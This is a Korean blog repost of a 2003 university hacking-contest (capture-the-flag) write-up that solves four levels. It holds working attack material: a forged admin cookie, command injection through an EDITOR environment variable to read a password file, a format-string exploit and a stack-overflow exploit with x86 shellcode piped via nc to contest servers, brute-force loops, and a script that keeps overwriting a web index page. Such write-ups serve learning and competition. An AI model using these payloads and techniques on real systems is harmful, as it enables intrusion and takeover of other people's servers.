2003 김천과학대학 해킹 경진대회

미래지향적 | 2007/06/24 18:33

너무 오래된 문서-.-;
============================================================================ 2003 김천과학대학 해킹 경진대회 ============================================================================ o 작성자 - 이메일 : w0rm9@hanmail.net o 대회 최종 결과 - 4단계 까지 획득 ============================================================================ 1. 문제소개 [ 1 단계 ] http://211.205.70.252에 접속하시어 웹 어드민 계정을 획득하세요 admin으로 접근시에 다음레벨의 패스워드를 보여줍니다. [ 2 단계 ] 211.205.70.252서버의 18523/tcp 포트에 특정 목적의 프로그램이 동작하고 있습니다. 여러 프로그램과 명령이 존재하며 특정파일안에 다음레벨의 패스워드가 들어있습니다. [ 3 단계 ] 211.205.70.252서버의 35232/tcp포트에 특정 데몬이 동작하고 있습니다. 특정 명령에 취약점이 발생합니다. [ 4 단계 ] 211.205.70.253서버의 23152/tcp포트에 특정 데몬이 동작하고 있습니다. 해당 데몬은 3번 문제 데몬의 Format strings취약점을 패치하였으며 몇가지 보안강화 기능이 추가되었지만 특정 명령에 Buffer Overflow취약점이 존재합니다. 4번 문제 통과 등록후 대회 종료 시점까지 권한 소유를 해야 최종 승자가 됩니다. 권한 소유는 웹서버의 index.html 파일에 자신의 ID를 게시하면 됩니다. 즉, Capture the flag 형식의 문제 입니다. =========================================================================== 2. 문제 풀이 과정 [ 1 단계 ] http://211.205.70.252에 접속하니 인증창의 웹페이지가 나타났다. 문제에서 admin권한으로 접근을 해야만 다음레벨의 패스워드를 보여준다고 했으니 관건은 admin권한을 획득하는 것이다. 인증창을 F11을 통해 최대화하여 주소(level1auth.html)를 알아낸뒤 view-source를 통해 로그인 창을 통해 입력된 내용이 /cgi-bin/LeVel1NiMdA.cgi 로 POST 형식으로 보내진다는걸 알게되었다. "HTTP 헤더 POST데이터 뷰어"라는 프로그램을 통해 서버측과 주고받는 패킷을 캡쳐해보니 다음과 같은 부분을 볼 수 있었다. Set-Cookie: auth=user; expires=30-Nov-03 00:00:00 GMT; path=/cgi-bin/ 추측하건데 auth=user부분이 인증을 하는 부분인것 같다. 그렇다면 auth=admin으로 바꿔서 쿠키값을 보내면 될 것 같다. 직접 실행에 옮겨보자. [mirinda@localhost mirinda]$ telnet 211.205.70.252 80 POST /cgi-bin/LeVel1NiMdA.cgi HTTP/1.0 Referer: http://211.205.70.252/level1auth.html Accept-Lanuage: ko Content-Type: acclication/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: 211.205.70.252 Content-Length: 100 Cache-Control: no-cache Cookie: auth=admin HTTP/1.1 200 OK Date: Wed, 26 Nov 2003 03:50:10 GMT Server: Web/1.0.00 (Unix) Set-Cookie: count=1; expires=30-Nov-03 00:00:00 GMT; path=/cgi-bin/ Connection: close Content-Type: text/html <html> <head> <title>Level1 Auth</title> </head> <body> You are admin level.<br> Next stage <hr> <pre> 축하합니다. 1번 문제를 해결하셨습니다. 빠른 시간내에 아래 해답을 해킹대회 웹 사이트 (hacking.kcs.ac.kr)에 로그인 후 등록하시기 바랍니다. 해답 : 2qjsanswpfh%ok </pre> username : admin<br> </body> </html> ============================================================================ [ 2 단계 ] 해당 서버에 접속해보니 이상한(?) commad 라인이 나타났다. help; 를 통해 가능한 명령어들을 확인할 수 있었다. HELP========================================= id; : current user id cul; : calculator eg) cul 1 + 2; date; : current date and time cal; : calendar echo; : message test eg) echo this is test; src; : view source srcl; : available source list rand; : generate random value logtime; : login time fortume; : fortune game myip; : print your IP 문제에서 "특정파일안에 다음레벨의 패스워드가 들어있습니다." 라고 하였으니 src를 이용하여 그 특정파일을 읽을 수 있을 듯 하다. 먼저 src의 소스를 보니 src src; ======= source =[src]==================== #!/bin/ksh if /bin/test -z $1 ; then echo "usage: src <name>"; exit ; fi fname=`/bin/basename $1` if /bin/test -z $EDITOR ; then EDITOR=/bin/cat ; fi echo "======= source =[$fname]====================" $EDITOR source/$fname echo "============================================" 소스를 보니 악용가능성이 보인다. export명령을 이용해 EDITOR에 해당되는 환경변수를 수정한 뒤 src을 실행시키면 가능할 듯 하다. 먼저 source가 아닌 다른 디렉을 살펴보자. export EDITOR="echo /*"; src src; ======= source =[src]==================== /bin /cal /cul /date /etc /fortune /help /id /lib /source /src /srcl /usr source/test 최상위 디렉토리를 시작으로 모든 디렉토리를 뒤지던 도중 export EDITOR="echo /etc/*"; src src; ======= source =[src]==================== /etc/PASSWORD /etc/suid_profile source/src ============================================ PASSWORD라는 파일을 찾을 수 있었다. 이 파일을 읽어보기 위해 다음과 같이 EDITOR을 수정하면 된다. export EDITOR="/bin/cat /etc/PASSWORD"; 이렇게 EDITOR의 내용을 채우면 실제 실행은 /bin/cat /etc/PASSWORD source/$fname src src; ======= source =[src]==================== 축하합니다. 2번 문제를 해결하셨습니다. 빠른 시간내에 아래 해답을 해킹대회 웹 사이트 (hacking.kcs.ac.kr)에 로그인 후 등록하시기 바랍니다. 등록 후 3번 문제부터 본격적인 해킹 능력을 맘껏 활용하여 해결해 보시기 바랍니다. 해답 : wk!ghkxld-3 #!/bin/ksh if /bin/test -z $1 ; then echo "usage: src <name>"; exit ; fi fname=`/bin/basename $1` if /bin/test -z $EDITOR ; then EDITOR=/bin/cat ; fi echo "======= source =[$fname]====================" $EDITOR source/$fname echo "============================================" ============================================================================ [ 3 단계 ] 해당 서버에 접속해서 여러 명령어(?)들을 쳐보니 없는 명령어라고 나왔다. 이 부분에서 엄청 삽질했다. 특정 명령에 취약점이 있다고 해서 명령어를 일단 찾아야 되는지 알았다. (최소한 HELP를 쳐보라고 했으면 이런 헛질의 시간을 줄일 수 있었을 텐데...소문자로는 help를 쳐봤었는데...) 아무튼 HELP를 통해 나온 명령어중 다른 명령어는 별다른 작동을 안하는데 OPTD, OPTS, OPTE 세 명령어에서 작동을 하였다. OPTD는 디버그, OPTS는 스택내용을 보여주고, OPTE는 입력한 명령어를 Echo 시키는 기능이였다. 다른 곳에선 별달리 의심되는 부분이 없었고, OPTE가 의심스러워서 저 세 옵션을 on 상태에서 AAAA%x%x%x%x과 같이 입력해 보았다. 역시나 fsb 문제였다. 그것도 remote. 익스플로잇 구성을 해보자. 먼저 서버에 접속하고, level3의 비밀번호를 입력하고, 옵션을 켜야한다. 그럼 OPTE, 그리고 스택에 제대로 들어갔는지 확인해보기 위해 OPTS, 디버그하기 위해 OPTD 이 세가지를 on시킨다음. shellcode의 주소와 ret의 주소로 계산된 포멧스트링 코드를 입력한 뒤 넉넉한 뒷 버퍼에 NOP코드와 함께 쉘코드를 넣는 프로그램을 작성해보았다. 이 부분에서 가장 난해한 부분은 ret의 주소를 찾는것 이었다. shellcode의 주소는 접속할 때마다 스택구조가 변하지 않아서 한 곳을 찍어놓고, 계산한 뒤, ret의 주소값을 버퍼의 뒤쪽부터 하나씩 찍어보기 시작했다. 주소는 0xbffefbcc, 쉘스크립트로 익스플로잇을 작성한 후 실행하니 ================attck.sh================ #!/bin/sh (echo -ne "wk!ghkxld-3\nOPTE\nOPTS\nOPTD\nAAAA\xcc\xfb\xfe\xbfAAAA\xce\xfb\xfe\xbf%8x%8x%8x%64544c%hn%50102c%hn\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh\n";cat) | nc 211.205.70.252 35232 cat PASSWORD 축하합니다. 3번 문제를 해결하셨습니다. 빠른 시간내에 아래 해답을 해킹대회 웹 사이트 (hacking.kcs.ac.kr)에 로그인 후 등록하시기 바랍니다. 실력이 상당하시군요. 마지막 한문제 남았습니다. 해답 : eoeks$tlffur&wk ============================================================================ [ 4 단계 ] 이번엔 친절하게도 remote bof라는것을 알려주었다. 해당 서버에 접속하니 레벨3에서 봤던 친숙한 명령어들이 나타난다. 이번에도 역시 여러 옵션 OPTS, OPTD, OPTE..의 옵션을 on 시킨 상태에서 이런 저런 명령어를 입력하던 중 USER 명령에서 이상한 부분을 발견할 수 있었다. USER AAAA 와 같이 입력하면 스택에 =CHECK2= 와 =CHECK1= 부분이 나타난 것이다. 좀더 많은 스트링을 입력해 보았다. USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 이런 접속이 끊겨버렸다. 몇개의 문자를 입력한 뒤 끊기는지 알아보니 24개의 입력까지는 괜찮고, 25째부터 접속이 끊겼다. 25번째는 =CHECK1=의 시작부분이다. 이건 스택가드 문제인다. 해당 문자열 입력부분에 저 문자열과 똑같이 입력함으로써 통과할 수 있었다. 이제 문제는 어느부분에서 Segmentation fault가 나는지가 문제였다. 즉 ret의 위치를 찾는것이 문제였다. 이번에도 여러번의 문자열을 입력하는 과정에서 프로그램이 종료되는 시점을 찾을 수 있었다. =CHECK1= 부터 120까지 입력하면 프로그램이 종료하였다. 리포트 상태에선 sfp를 침범하여도 프로그램이 종료되니, ret는 대략 USER AAAAAA24개AAAAAA=CHECK1=AAAAAAAAAA120개AAAAAAAAAA+4+ret 그럼 이번에도 리모트 문제이므로 익스플로잇을 작성해야한다. 이번에도 역시 레벨4의 패스워드를 입력하고, 이번엔 스택만을 확인하기 위해 OPTS만 on 시키고, USER 부터 CHECk1=까지는 똑같이 적고, 그 뒤에 NOP코드를 그 다음 쉘코드를 그 다음 ret에 쉘코드의 주소를 넣어주면 되겠다고 생각하고 익스플로잇을 작성했다. 다 되었을꺼라고 생각했는데, Illegal Character found 다음과 같은 문자열을 뿌려주었다. 원인을 찾아보니 NOP코드였다. 그래서 0x90 -> 0x40으로 교체하고 다시 익스플로잇을 실행시켜 보았다. 이런 이번엔 문제가 버퍼에 넣었던 쉘코드의 위치가 스택의 구조가(프로그램을 실행시킬 때마다) 바뀌어서 참으로 난감했다. 이럴땐 제일 좋은게 무차별 대입이다. 그래서 익스플로잇을 무한루프 시키는 프로그램을 따로 하나 작성했다. ================attack.c================ int main(){ char cmd[1000]; sprintf(cmd,"(printf \"eoeks\\$tlffur&wk\\nOPTS\\nUSER 123456789012345678901234=CHECK1=\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80\xc8\xf5\xff\xbf\xc8\xf5\xff\xbf\\n\";cat) | nc 211.205.70.253 23152"); system(cmd); } ================loop.c================ main() { for(;;){ system("./attack"); } } loop를 실행시켜 attack를 돌리던 도중(정확하지 않는 주소면 enter를 쳐중야 한다.) 엔터키를 입력해도 아무런 변화가 없었다. 쉘이 뜬것이다. 이번에도 역시 PASSWORD를 찾아 열어보니 cat /PASSWORD 축하합니다. 4번 문제를 해결하셨습니다. 빠른 시간내에 아래 해답을 해킹대회 웹 사이트 (hacking.kcs.ac.kr)에 로그인 후 등록하시기 바랍니다. 4번 문제 통과 등록후 대회 종료 시점까지 권한 소유를 해야 최종 승자가 됩니다. 권한 소유는 웹서버의 index.html 파일에 자신의 ID를 웹으로 확인 할 수 있도록 표시하면 됩니다. 즉, Capture the flag 형식의 문제 입니다. 해답 : cnr^rhwlrhtn%tmdflfmfdnlgo [ Capture the flag ] 처음엔 perl이 되지는도 모르고, ksh쉘을 이용해서 쉘스크립트를 짠 후 #!/bin/ksh while [ 1 ] do echo "<font color=red size=10><b>mirinda@WiseGuyz</b></font>" > /htdocs/index.html done 여러개를 실행시키는 방법밖에 없었다. 운이 좋아야 인덱스 점유 화면을 볼 수 있었다. 뒤늦게 perl이 서버에 존재함을 알고 접속을 할려해도 DOS때문인지 접속할 수가 없었다. 아쉽지만 여기서 대회를 마감해야만 했다. ============================================================================ 3. 대회후기 먼저 대회 준비부터 진행과정내내 수고하신, 그리고 시상식까지 수고하셔야 하는 운영진 여러분께 감사드립니다.^^ 리모트 문제를 두개나 연속 접해보는 대회여서 많은 삽질이 필요했고, 다행히 목요일에 학교수업이 없는 행운이 있어서 밤늦게까지 삽질의 기회를 얻었죠. 몇가지 아쉬웠던 점이 있다면 대회규정이나 순위를 판가름하는 명확한 기준이 대회 이전에 공지되지 않았던 점입니다. 가장 먼저 모든 레벨을 클리어한다는지, 총 레벨을 가장 짧은 시간에 클리어한 사람이라든지 등등 순위에 어떤 부분이 고려되는지가 늦게 공지되었고(대회가 끝난뒤..) 어떤 대회를 보든 index.html 쟁탈전은 있기 마련인데 이에 대한 명확한 규정(?)이 없었던것 같네요. 단지 시스템의 운영에 지장을 주는 행위를 금한다고 했을 뿐... DOS를 허용했다면 미리 허용범위를 공지했다면 좋았을 듯 했네요. 다음 대회때는 더욱 멋진 대회 기대합니다.^^ 그럼 마지막까지 유종의 미 멋지게 거두시기 바랍니다. ps. 만약 레벨4를 깬 순서대로 순위가 매겨지지 않는다면 왜 그런지 정확한 채점기준을 통한 점수획득 여부를 공지해야 잡음을 막을 수 있겠네요. ps2. 서버을 열어주지 않으셔서 보고서 쓰는데 애먹었습니다. :(






Trackback Address :: http://badnom.com/trackback/279
Name
Password
Homepage
Secret
< PREV |  1  |  ...  751  |  752  |  753  |  754  |  755  |  756  |  757  |  758  |  759  |  ...  981  |  NEXT >